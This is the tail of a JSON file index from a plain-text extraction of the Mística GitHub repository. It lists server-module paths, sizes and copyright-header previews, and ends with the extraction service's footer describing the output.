"chars": 3220,
"preview": "#\n# Copyright (c) 2020 Carlos Fernández Sánchez and Raúl Caro Teixidó.\n#\n# This file is part of Mística \n# (see https://"
},
{
"path": "wrapper/server/wrap_server/__init__.py",
"chars": 51,
"preview": "__all__ = [\"httpserver\", \"dnsserver\", \"icmpserver\"]"
},
{
"path": "wrapper/server/wrap_server/dnsserver.py",
"chars": 6761,
"preview": "#\n# Copyright (c) 2020 Carlos Fernández Sánchez and Raúl Caro Teixidó.\n#\n# This file is part of Mística \n# (see https://"
},
{
"path": "wrapper/server/wrap_server/httpserver.py",
"chars": 9700,
"preview": "#\n# Copyright (c) 2020 Carlos Fernández Sánchez and Raúl Caro Teixidó.\n#\n# This file is part of Mística\n# (see https://g"
},
{
"path": "wrapper/server/wrap_server/icmpserver.py",
"chars": 6425,
"preview": "#\n# Copyright (c) 2020 Carlos Fernández Sánchez and Raúl Caro Teixidó.\n#\n# This file is part of Mística \n# (see https://"
}
]
About this extraction
This page contains the full source code of the IncideDigital/Mistica GitHub repository, extracted and formatted as plain text for AI agents and large language models (LLMs). The extraction includes 43 files (458.1 KB), approximately 107.8k tokens, and a symbol index with 646 extracted functions, classes, methods, constants, and types. Use this with OpenClaw, Claude, ChatGPT, Cursor, Windsurf, or any other AI tool that accepts text input. You can copy the full output to your clipboard or download it as a .txt file.
Extracted by GitExtract — free GitHub repo to text converter for AI. Built by Nikandr Surkov.